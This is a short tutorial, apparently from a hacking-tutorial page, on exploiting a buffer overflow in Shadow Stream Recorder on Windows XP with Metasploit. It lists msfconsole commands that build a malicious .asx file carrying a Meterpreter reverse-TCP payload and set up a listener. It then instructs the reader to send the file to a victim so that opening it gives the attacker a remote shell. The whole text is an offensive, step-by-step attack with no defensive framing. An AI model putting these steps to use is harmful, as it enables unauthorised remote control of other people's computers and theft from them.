Exploit PC in LAN using Shadow Stream Recorder Buffer Overflow

This module exploits a buffer overflow in Shadow Stream Recorder Using the application to open a specially crafted asx file, a buffer overflow may occur to allow arbitrary code execution under the context of the user.

Exploit Targets

Windows XP SP 3

Shadow Stream Recorder


Attacker: Backtrack 5

Victim PC: Windows XP

Open Kali Linux terminal type msfconsole

Now type use exploit/windows/fileformat/shadow_stream_recorder_bof

msf exploit (shadow_stream_recorder_bof)>set payload windows/meterpreter/reverse_tcp

msf exploit (shadow_stream_recorder_bof)>set lhost (IP of Local Host)

msf exploit (shadow_stream_recorder_bof)>exploit

After we successfully generate the malicious asx File, it will stored on your local computer


Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost


Now send your msf.asx files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.
